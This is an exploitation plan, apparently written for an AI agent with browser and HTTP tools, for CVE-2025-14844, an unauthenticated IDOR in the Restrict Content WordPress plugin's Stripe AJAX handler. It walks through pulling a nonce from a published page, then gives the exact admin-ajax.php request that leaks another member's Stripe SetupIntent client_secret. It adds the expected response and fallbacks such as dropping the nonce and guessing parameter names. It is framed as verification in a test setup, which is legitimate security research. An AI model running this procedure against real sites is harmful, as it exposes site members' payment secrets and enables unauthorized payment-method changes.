Exploitation Research Plan: CVE-2025-14844

1. Vulnerability Summary

The Membership Plugin – Restrict Content plugin (versions <= 3.2.16) contains an authentication bypass and Insecure Direct Object Reference (IDOR) vulnerability in its Stripe integration. Specifically, the function rcp_stripe_create_setup_intent_for_saved_card fails to perform any capability checks or ownership verification. An unauthenticated attacker can call this function via an AJAX request, providing an arbitrary membership ID, and retrieve the Stripe SetupIntent client_secret associated with that membership. This allows for sensitive information exposure and potentially unauthorized payment method manipulation on the linked Stripe account.

2. Attack Vector Analysis

• Endpoint: admin-ajax.php
• Action: rcp_stripe_create_setup_intent_for_saved_card (inferred from function name)
• Hooks:
  • wp_ajax_nopriv_rcp_stripe_create_setup_intent_for_saved_card
  • wp_ajax_rcp_stripe_create_setup_intent_for_saved_card
• Parameters:
  • action: rcp_stripe_create_setup_intent_for_saved_card
  • membership_id (inferred): The ID of the membership to target.
  • nonce: A WordPress nonce for verification (likely required by check_ajax_referer).
• Authentication: Unauthenticated (via nopriv hook).
• Preconditions: The plugin must have Stripe Pro/Stripe integration enabled and at least one membership must exist in the system.

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to /wp-admin/admin-ajax.php with the action rcp_stripe_create_setup_intent_for_saved_card.
2. AJAX Dispatch: WordPress matches the action to the registered wp_ajax_nopriv_... hook, which calls the function rcp_stripe_create_setup_intent_for_saved_card.
3. Missing Cap Check: Inside rcp_stripe_create_setup_intent_for_saved_card, there is no call to current_user_can() or any check to see if a user is logged in.
4. IDOR: The function likely retrieves a membership_id from the $_POST or $_REQUEST array. It proceeds to interact with the Stripe API to create a SetupIntent for the account/customer associated with that specific membership ID without verifying if the requester owns that membership.
5. Information Leak: The function returns a JSON response containing the client_secret of the newly created SetupIntent.

4. Nonce Acquisition Strategy

Restrict Content typically localizes its script data, including nonces, for use in the registration or payment forms.

1. Shortcode Identification: The scripts are likely enqueued on pages containing the registration form: [register_form].
2. Page Creation: Create a public page with this shortcode to force the plugin to output the required nonce.

   wp post create --post_type=page --post_status=publish --post_title="Register" --post_content='[register_form]'
   

3. Extraction:
   • Use browser_navigate to visit the newly created page.
   • Use browser_eval to search for the localized JS object. Common object names in Restrict Content are rcp_script_options or rcp_vars.
   • Target Variable (Inferred): window.rcp_script_options?.nonce or window.rcp_stripe_vars?.nonce.
   • Verification: If the nonce is not found in a specific variable, search the HTML source for nonce inside <script> tags.

5. Exploitation Strategy

The goal is to leak a client_secret for a membership ID that we do not own.

1. Discovery: Identify a valid membership_id. In a test environment, this can be done via WP-CLI.
2. Request Formulation:
   • Method: POST
   • URL: http://<target>/wp-admin/admin-ajax.php
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     action=rcp_stripe_create_setup_intent_for_saved_card&membership_id=<TARGET_ID>&nonce=<EXTRACTED_NONCE>
     

3. Execution: Send the request using the http_request tool.
4. Analysis: Check if the response status is 200 OK and if the body contains a JSON object with a success: true key and a client_secret string.

6. Test Data Setup

1. Enable Stripe: Ensure the plugin is configured to use Stripe (even in Test Mode).
2. Create a Membership Level:

   # Create a membership level via WP-CLI (if supported) or the UI
   # Assuming RCP uses custom tables or post types. 
   # Usually, a level is created first, then a user 'joins' it to create a membership.
   

3. Create a Target User and Membership:
   • Create a "victim" user.
   • Assign them a membership. Note the membership_id.
4. Identify Membership ID:

   # Check the database for the membership ID
   wp db query "SELECT id FROM wp_rcp_memberships LIMIT 1;"
   

7. Expected Results

• Successful Leak: The server responds with a JSON object.

  {
    "success": true,
    "data": {
      "client_secret": "seti_1P..._secret_Q..."
    }
  }
  

• Vulnerability Confirmation: The client_secret is returned despite the request being unauthenticated and not belonging to the owner of the membership_id.

8. Verification Steps

1. Verify Unauthenticated Access: Repeat the http_request without any cookies.
2. Verify IDOR: Attempt to retrieve the secret for a membership_id associated with User A while logged in as User B (or unauthenticated).
3. Database Check: Confirm the membership_id used exists in the wp_rcp_memberships (or equivalent) table.

9. Alternative Approaches

• Missing Nonce: If no nonce is found, try the request without the nonce parameter. The vulnerability description mentions "Missing Authentication," which often implies the nopriv handler lacks a check_ajax_referer call entirely.
• Parameter Brute Force: If membership_id is not the correct parameter name, try id, subscription_id, or rcp_membership_id.
• REST API: Check if the function is also registered as a REST route under the rcp/v1 namespace, which might also lack a permission_callback.